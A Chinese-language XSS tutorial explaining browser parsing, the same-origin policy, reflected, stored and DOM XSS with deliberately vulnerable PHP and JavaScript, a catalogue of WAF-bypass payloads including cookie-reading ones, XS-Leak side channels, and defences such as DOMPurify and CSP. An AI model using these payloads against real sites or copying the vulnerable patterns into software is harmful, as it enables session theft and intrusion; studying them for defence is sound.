一、 浏览器底层机制与安全基石

理解XSS的执行逻辑,必须建立在充分掌握浏览器渲染流程与同源策略的基础之上。

1. 浏览器渲染过程与 DOM 构建

浏览器接收到HTML字节流后,需要将其解析为可供渲染和交互的结构。XSS代码的执行正是发生在这个解析阶段。

  • 分词与打标签 (Tokenizing):HTML解析器逐字读取字符序列,进行词法分析,识别出标签(如 <html>, <body>)并生成对应的Token。

  • 生成节点对象 (Lexing/Node Generation):将Token转化为具有DOM属性和方法的节点对象。

  • 构建 DOM 树 (Tree Construction):根据HTML的嵌套关系,将节点对象按照层级挂载,形成完整的DOM树。DOM(文档对象模型)本质上是HTML文档在内存中的面向对象表示,它作为桥梁,使得JavaScript等脚本语言能够动态访问和更新文档的内容、结构和样式。

  • 安全解析机制(XSS的触发原理):浏览器是一边解析HTML一边构建DOM的。当HTML解析器遇到 <script> 标签时,会阻塞DOM树的构建,将控制权交由JavaScript引擎执行脚本。 如果该段脚本是攻击者注入的恶意代码,就会在此刻被触发执行。对于 <img onerror> 等事件驱动的标签,则是在节点构建完成、外部资源加载失败或满足特定交互条件时触发脚本执行。

2. 同源策略 (Same-Origin Policy, SOP)

同源策略是Web浏览器最核心的安全模型,用于隔离潜在恶意文件。

  • 同源的定义:两个URL的协议 (Protocol)域名 (Domain)端口 (Port) 必须完全一致。

  • SOP的限制范围

    • 禁止读取非同源的 Cookie、LocalStorage、IndexedDB 等本地存储。

    • 禁止获取非同源文档的 DOM 节点(例如无法读取嵌入的跨域 iframe 内部的数据)。

    • 限制跨域 AJAX/Fetch 请求的响应读取。

  • SOP 与 XSS 的关系:攻击者无法直接在自己的服务器上写脚本去跨域读取目标网站的数据。(这里也是对csrf的一个大影响啊)因此,攻击者利用目标网站的输入/输出过滤漏洞,将恶意脚本注入到目标网站的页面中。由于脚本在目标网站的域名下执行,完全符合同源策略,从而获得了目标域下的最高执行权限。


二、 XSS 漏洞的三大核心类型与源码剖析

XSS(跨站脚本攻击)的核心区别在于恶意代码的传递路径与触发节点。

1. 反射型 XSS (Reflected XSS)

  • 特征:非持久化。恶意脚本包含在客户端的HTTP请求(通常是URL参数)中,服务器接收后未做充分的清洗或转义,直接拼接到HTTP响应的HTML中返回给客户端,由浏览器解析执行。

  • 漏洞源码分析 (PHP)

    PHP

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    // search.php
    <?php
    // 缺陷:直接获取参数未作安全处理
    $search_query = $_GET['query'];
    ?>
    <!DOCTYPE html>
    <html>
    <body>
    <p>搜索结果:<?php echo $search_query; ?></p>
    </body>
    </html>
  • 执行路径:攻击者构造URL search.php?query=<script>alert(1)</script> -> 受害者点击 -> 服务器拼接Payload并返回 -> 受害者浏览器执行脚本。

2. 存储型 XSS (Stored XSS)

  • 特征:持久化,危害范围广。应用程序接收包含恶意脚本的输入数据,并将其持久化存储(如数据库)。后续任何请求该数据的操作,都会导致恶意脚本被包含在响应中返回并执行。

  • 漏洞源码分析 (PHP + MySQL)

    PHP

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    // 写入接口:save_message.php
    <?php
    $message = $_POST['content'];
    $conn = mysqli_connect("localhost", "root", "password", "test_db");
    // 缺陷:无过滤直接入库
    $sql = "INSERT INTO message (content) VALUES ('$message')";
    mysqli_query($conn, $sql);
    ?>

    // 读取接口:show_message.php
    <?php
    $conn = mysqli_connect("localhost", "root", "password", "test_db");
    $sql = "SELECT content FROM message";
    $result = mysqli_query($conn, $sql);
    // 缺陷:直接输出数据库内容,未进行HTML实体转义
    while($row = mysqli_fetch_assoc($result)) {
    echo "<div class='msg'>" . $row['content'] . "</div>";
    }
    ?>
  • 执行路径:攻击者提交Payload至数据库 -> 多名用户访问展示页面 -> 服务器读取Payload并随正常文档返回 -> 所有访问者的浏览器执行脚本。

3. 基于 DOM 的 XSS (DOM-based XSS)

  • 特征恶意代码全程不经过服务器后端。漏洞存在于客户端JavaScript代码中。前端脚本不安全地读取了客户端可控的数据源(如 URL 参数、location.hash),并通过危险的 DOM API 将其动态插入到页面中引发执行。

  • 漏洞源码分析 (HTML/JavaScript)

    HTML

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    <!DOCTYPE html>
    <html>
    <body>
    <div id="welcome"></div>
    <script>
    // 获取可控输入源 (Source)
    var username = new URLSearchParams(location.search).get('username');

    // 危险执行点 (Sink):innerHTML会将传入的字符串当作HTML解析
    document.getElementById('welcome').innerHTML = "欢迎:" + username;
    </script>
    </body>
    </html>
  • 危险的 DOM API (Sinks)

    • 直接解析HTML:innerHTML, outerHTML, document.write()

    • 执行字符串代码:eval(), setTimeout(), setInterval()

    • 动态设置属性:location.href, onclick, onerror

innerHTML, outerHTML, document.write()
这三个是前端 JavaScript 中用于动态操作和修改网页内容的核心 API。它们之所以在 Web 安全(特别是 DOM 型 XSS)中被重点标记为“危险函数(Sinks)”,是因为它们都会将接收到的字符串直接交给浏览器的 HTML 解析器去解析渲染

如果这些字符串包含了用户可控的恶意代码,浏览器就会把它们当成真正的 HTML 标签去执行。

1. innerHTML (内部 HTML)

  • 作用:获取或设置一个 HTML 元素内部的所有内容(包括子节点和文本)。

  • 行为:当你给 innerHTML 赋值一个字符串时,浏览器会销毁该元素原本的所有子节点,然后将这个新字符串当作 HTML 代码进行解析,并生成新的 DOM 节点填充进去。

代码示例:

HTML

1
2
3
4
5
6
7
8
<div id="box">原始文本</div>

<script>
let el = document.getElementById('box');
// 修改 innerHTML
el.innerHTML = "<b>加粗的新文本</b>";
</script>

2. outerHTML (外部 HTML)

  • 作用:获取或设置一个 HTML 元素自身及其内部的所有内容。

  • 行为:与 innerHTML 相比,outerHTML 不仅会替换元素内部的内容,还会把元素自己也替换掉

代码示例:

HTML

1
2
3
4
5
6
7
8
<div id="box">原始文本</div>

<script>
let el = document.getElementById('box');
// 修改 outerHTML
el.outerHTML = "<p>我变成了一个段落</p>";
</script>

3. document.write() (文档写入)

  • 作用:直接向 HTML 文档流中写入内容。这是一个非常古老且暴力的 API。

  • 行为

    • 如果在页面正在加载时调用它,它会把字符串拼接到当前解析位置的 HTML 后面。

    • 如果在页面已经加载完毕(如在 window.onload 或点击事件中)调用它,它会调用 document.open()清空并重写整个网页的所有内容

代码示例:

HTML

1
2
3
4
5
6
7
<body>
<h1>正常标题</h1>
<script>
// 页面加载时执行
document.write("<h2>动态写入的标题</h2>");
</script>
</body>

为什么它们是 XSS 的“重灾区”?

在安全领域,我们把接受输入并执行敏感操作的函数称为 Sink(汇聚点/执行点)。这三个 API 就是极其危险的 HTML 解析 Sink。

假设有一段存在漏洞的代码:

JavaScript

1
2
let userInput = new URLSearchParams(location.search).get('name');
document.getElementById('greeting').innerHTML = userInput;

黑客视角的利用原理

  1. 常规思维:黑客可能会输入 <script>alert(1)</script>

    • 防御机制:HTML5 标准规定,通过 innerHTMLouterHTML 插入的 <script> 标签不会被执行。这是浏览器的一种底层保护。
  2. 黑客的绕过(事件机制):既然 <script> 不执行,黑客就会输入 <img src=x onerror=alert(1)>

    • 破防innerHTML 会老老实实地解析出一个 <img> 标签,浏览器尝试去加载 src=x,加载失败,立刻触发 onerror 事件,执行了 alert(1)。此时 XSS 攻击成功!

安全开发规范 (防御方案)

在日常全栈开发中,如果你只需要向页面中插入纯文本(比如用户的用户名、评论内容),绝对不要使用这三个 API。

应该使用安全的替代方案:

  • textContentinnerText:这两个属性只会把输入的字符串当作“纯文本”处理。即使你传入了 <img src=x onerror=alert(1)>,浏览器也只会把它当成一串普通的字符原样显示在屏幕上,绝不会去解析它,从而从根本上杜绝了 DOM 型 XSS。
  • 执行路径:攻击者构造URL welcome.html?username=<img src=x onerror=alert(1)> -> 受害者点击 -> 服务器返回合法静态页面 -> 浏览器执行页面原有JS -> 原有JS读取URL参数并注入DOM -> 触发 onerror 执行。

4. 执行字符串代码:eval(), setTimeout(), setInterval()

这类 API 的危险之处在于,它们拥有将普通的字符串转化为可执行 JavaScript 代码的最高权限。如果外部不可信数据流入了这些函数,就相当于直接把系统的控制台交给了黑客。

  • eval(string)

    • 作用:直接计算或执行传入的 JavaScript 字符串。

    • 漏洞场景:早期前端常用来解析 JSON 字符串,或者动态执行数学公式。

    • 源码剖析

      JavaScript

      1
      2
      3
      // 危险代码:直接把 URL 的 hash 部分当做代码执行
      let userMathExpression = location.hash.substring(1);
      let result = eval(userMathExpression);
    • 攻击Payload:攻击者构造链接 http://target.com/#alert(document.cookie)eval() 会无条件执行 alert(),瞬间完成攻击。

  • setTimeout(string, delay)setInterval(string, delay)

    • 作用:定时器函数。现代开发中,第一个参数通常传入一个回调函数,但由于历史兼容性原因,它们也允许传入一个字符串,并在延时后将该字符串作为 JS 代码执行。

    • 漏洞场景

      JavaScript

      1
      2
      3
      let userName = new URLSearchParams(location.search).get('name');
      // 危险代码:将用户输入拼接到字符串中,交由 setTimeout 执行
      setTimeout("console.log('欢迎, " + userName + "')", 1000);
    • 攻击Payload:攻击者输入 ?name='); alert(1); //。 拼接后的字符串变成了:console.log('欢迎, '); alert(1); //')。这导致原本的打印逻辑被闭合,紧接着执行了攻击者的注入代码,最后的 // 注释掉了多余的引号。

  • 安全规范 (防御方案)

    • 绝对禁止使用 eval()。如果是为了解析 JSON,必须使用标准的 JSON.parse()

    • 使用 setTimeoutsetInterval 时,永远只传入函数引用(回调函数),绝不传入字符串。例如:setTimeout(function() { console.log(userName); }, 1000);

5. 动态设置属性:location.href, onclick, onerror

这类 API 不会直接解析 HTML,也不会显式调用执行器,但它们控制着浏览器的跳转行为事件响应机制,稍有不慎就会被黑客利用“伪协议”或“事件劫持”完成攻击。

  • 跳转属性:location.href (或 window.location, a.href)

    • 作用:控制浏览器当前窗口的 URL 地址,常用于页面的重定向或返回上一页功能。

    • 漏洞场景

      JavaScript

      1
      2
      3
      4
      // 从 URL 获取 "next" 参数作为返回地址
      let backUrl = new URLSearchParams(location.search).get('next');
      // 危险代码:未校验协议,直接赋值给 a 标签的 href
      document.getElementById('backButton').href = backUrl;
    • 攻击Payload:黑客构造链接 ?next=javascript:alert(document.cookie)。 当用户点击“返回”按钮时,浏览器发现这是一个 javascript: 伪协议,于是它不会进行网页跳转,而是直接执行后面的 JavaScript 代码

  • 事件属性:onclick, onerror, onmouseover

    • 作用:为 DOM 元素绑定用户交互事件。

    • 漏洞场景

      JavaScript

      1
      2
      3
      4
      let action = new URLSearchParams(location.search).get('action');
      // 危险代码:动态设置元素的 onclick 属性
      let btn = document.getElementById('myBtn');
      btn.setAttribute('onclick', action);
    • 攻击Payload:黑客传入 ?action=alert(1)。当受害者点击该按钮时,恶意代码触发。


三、 WAF 绕过技术

在遇到内容过滤设备(WAF)时,需要利用浏览器各解析引擎的特性进行绕过。

1. 常见触发向量与标签替换

<script> 标签被过滤时,需依赖其他HTML标签的属性解析机制。

  • 资源加载报错型<img src=x onerror=alert(1)>, <audio src=1 onerror=alert(1)>

  • 自动交互型<input onfocus=alert(1) autofocus>

  • 伪协议型<a href="javascript:alert(1)">, <iframe src="javascript:alert(1)">

  • DOM加载型<svg onload=alert(1)>, <body onload=alert(1)>

2. 编码绕过技术

浏览器的解码顺序为:HTML实体解码 -> URL解码 -> JS/Unicode解码。

  • HTML 实体编码:适用于标签的属性值内(如 src, href, onerror)。

    • 十六进制:<img src=x onerror=&#x61;&#x6c;&#x65;&#x72;&#x74;(1)>

    • 十进制:<img src=x onerror=&#97;&#108;&#101;&#114;&#116;(1)>

  • URL 编码:适用于 hrefsrc 等需要进行URL解析的属性。

    • <a href="javascript:%61%6c%65%72%74(1)"> (注:协议头 javascript: 不可被URL编码)
  • Unicode 编码:适用于JS执行上下文中,仅能对标识符(变量名、函数名)进行编码,不能编码控制字符(如括号)。

    • <img src=x onerror="\u0061\u006c\u0065\u0072\u0074(1)">
  • Base64 编码:配合 data: 伪协议或 atob() 函数。

    • <a href="javascript:eval(atob('YWxlcnQoMSk='))">

3. 语法糖与结构绕过

  • 大小写与空格<ScrIpt>alert(1)</sCRipT>,使用 %09, %0A, /**/, / 替代空格。

  • 符号替换

    • 反引号替代圆括号:<img src=x onerror=alert1>

    • Throw语句绕过:<img src onerror="window.onerror=eval;throw '=alert\x281\x29'">

  • 函数拼接<img src=x onerror="window['al'+'ert'](1)">

  • 长度限制绕过:利用 location.hashwindow.name 传递长Payload。

    • ?name=<svg/onload=eval(location.hash.substr(1))>#alert(document.cookie)

四 XS-Leak (跨站泄漏)

当目标系统部署了严格的 CSP (内容安全策略) 或严格过滤导致彻底无法执行 JavaScript 代码时,传统的 XSS 攻击失效,需转向 XS-Leak 侧信道攻击。

1. XS-Leak 原理

XS-Leak 是一种利用浏览器底层行为特征(侧信道)来推断目标网站敏感信息的攻击方式。它不要求在目标网站执行代码,而是利用同源策略的机制“盲区”,通过测量跨域请求的副作用(Side Effects)来提取信息。

2. 经典探测向量 (Vectors)

  • 加载时长测信道 (Timing Attack)

    • 原理:利用目标系统处理命中数据与未命中数据的时间差进行布尔盲注。

    • 示例:目标搜索接口,检索到敏感词耗时500ms,未检索到耗时50ms。攻击者嵌套 <script> img.src="http://target.com/search?q=admin" </script> 并测量加载时间,推断结果。

  • 窗口/框架数量探测 (Frame Counting)

    • 原理:虽然SOP禁止读取跨域DOM的内容,但由于历史遗留设计,浏览器允许跨域读取 window.length(目标页面包含的 iframe 数量)。

    • 示例:利用 let win = window.open("url") 打开目标查询页,延时后通过 win.length 判断页面渲染结果。

  • 错误状态探测 (Error Events)

    • 原理:利用目标接口返回的状态码触发不同的浏览器资源加载事件。

    • 示例:探测登录状态。 <script src="http://target.com/api/user" onload="Log('Auth')" onerror="Log('UnAuth')"></script>。请求成功(200 OK)触发 onload,鉴权失败(401/302)触发 onerror


五、 XSS 工程化防御体系

在全栈开发阶段,必须落实以下防御规范:

  1. 输入验证 (Input Validation):采用白名单机制,严格校验数据类型、长度、格式。

  2. 输出转义 (Output Encoding):在数据渲染到DOM前,进行HTML实体编码(将 < 转为 &lt; 等)。现代前端框架(React/Vue)在数据绑定时默认开启防御,但需注意 v-htmldangerouslySetInnerHTML 等高危用法。
    在现代前端开发中,Vue 和 React 这样的主流框架其实已经为我们做好了底层的安全防护。默认情况下,当你使用它们的数据绑定语法(比如 Vue 的 {{ }} 或者 React 的 {})时,框架会自动将数据作为纯文本处理。也就是说,框架会在底层自动进行 HTML 实体转义,把 < 变成 &lt;

但是,在某些真实的业务场景中,我们确实需要向页面渲染一段带有格式的富文本(比如你在博客后台用富文本编辑器写的一篇文章,里面包含了加粗、图片等标签)。如果框架还是强行转义,页面上就会直接显示出难看的 <b>加粗</b> 代码,而不是格式化后的文本。

为了解决这个需求,React 和 Vue 给开发者留了一个“后门” API,用来绕过框架自带的转义保护,直接渲染原生 HTML。这两个后门,就是 dangerouslySetInnerHTMLv-html
在代码审计现代单页应用(SPA)时,Vue 的 v-html 和 React 的 dangerouslySetInnerHTML 是最容易引发 DOM 型 XSS 的高危触发点(Sinks)。它们在底层的本质,依然是调用了极其危险的 innerHTML

  • React 的 dangerouslySetInnerHTML
    React 官方极其注重安全,因此故意给这个属性起了一个非常长且吓人的名字(直译为:危险地设置内部 HTML),目的就是每次你在敲击键盘输入这段代码时,都能意识到自己正在做一件危险的事情。

漏洞代码示例:

JavaScript

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import React from 'react';

function ArticleView() {
// 假设 articleContent 是从 URL 参数或未过滤的数据库中获取的
const articleContent = "<img src=x onerror=alert('React_XSS')>";

return (
<div>
{/* 正常写法(安全):React 会自动把 < 转义为 &lt; ,页面上只会显示文本 */}
<div>{articleContent}</div>

{/* 高危写法(DOM XSS 触发):React 放弃转义,直接将恶意代码插入 DOM */}
<div dangerouslySetInnerHTML={{ __html: articleContent }} />
</div>
);
}
  • Vue.js 的 v-html 指令

Vue 的做法相对简洁,提供了一个 v-html 指令。它的作用和 React 完全一致:告诉 Vue 引擎,“请不要对这个变量进行转义,直接把它当成 HTML 塞进这个标签里”。

漏洞代码示例:

代码段

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<template>
<div>
<p>{{ userComment }}</p>

<p v-html="userComment"></p>
</div>
</template>

<script>
export default {
data() {
return {
// 假设这是黑客输入的评论
userComment: "<svg onload=alert('Vue_XSS')>"
};
}
}
</script>
  • 防御规范 (DOM Sanitization)

既然这两个 API 这么危险,但业务又确实需要渲染富文本,我们该怎么办?

业界标准的做法是:在把不受信任的数据丢给 v-htmldangerouslySetInnerHTML 渲染之前,必须先使用专门的 DOM 清洗库(如 DOMPurify)进行“消毒”。

DOMPurify 的工作原理是:它会在内存中解析这串 HTML,然后根据一份严格的白名单,把所有危险的标签(如 <script><object>)和危险的属性(如 onerroronloadjavascript: href)全部剥离剔除,最后只返回干净、安全的 HTML 结构。

安全修复后的代码示例:

JavaScript

1
2
3
4
5
6
7
8
9
10
11
12
13
// 引入净化库
import DOMPurify from 'dompurify';

// 假设这是用户提交的脏数据(既有正常标签,也有恶意代码)
const dirtyData = "<b>加粗文本</b><img src=x onerror=alert(1)>";

// 1. 进行清洗消毒
const cleanData = DOMPurify.sanitize(dirtyData);
// 清洗后,cleanData 的值变成了:"<b>加粗文本</b><img src=x>" (恶意 onerror 被剔除)

// 2. 再安全地进行渲染
// React 写法: <div dangerouslySetInnerHTML={{ __html: cleanData }} />
// Vue 写法: <div v-html="cleanData"></div>
  1. HttpOnly Cookie:在Set-Cookie响应头中启用 HttpOnly 标志,阻断JS通过 document.cookie 读取凭证。

  2. 内容安全策略 (Content-Security-Policy, CSP):配置 HTTP Header,白名单限制页面允许加载和执行的资源来源,禁用内联脚本 (unsafe-inline) 和危险函数 (unsafe-eval)。
    服务器通过 HTTP 响应头(或 HTML 的 <meta> 标签)告诉浏览器一份极其严格的白名单。浏览器收到后,会严格按照这份白名单来决定:当前页面可以加载哪些来源的图片、执行哪些来源的脚本、甚至能不能执行内联代码。

一个经典的 CSP 响应头长这样:

HTTP

1
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.com;

核心防御机制与关键指令

  • default-src 'self':全局默认策略。除非特别说明,页面上所有的资源(图片、字体、脚本、框架)都只能从**本站(同源)**加载。不存在<img src="http://hacker.com/log"> 把数据传出去的情况

  • script-src 'self' https://trusted.cdn.com:专门针对 JS 脚本的策略。只允许执行本站的脚本和受信任的 CDN 域名下的脚本。黑客注入了 <script src="http://hacker.com/evil.js"></script>?浏览器发现域名不在白名单里,直接报错拒绝加载。

  • 封杀内联脚本(禁用 'unsafe-inline':在严格的 CSP 下,直接写在 HTML 里的 <script>alert(1)</script> 块,或者标签上的 onclick="alert(1)",浏览器都会默认拒绝执行。黑客即使成功把代码注入到了 HTML 里,也变成了一堆无法运行的死字。

  • 封杀危险函数(禁用 'unsafe-eval':CSP 默认禁用 eval(), setTimeout(字符串) 等将字符串转化为代码执行的危险 API。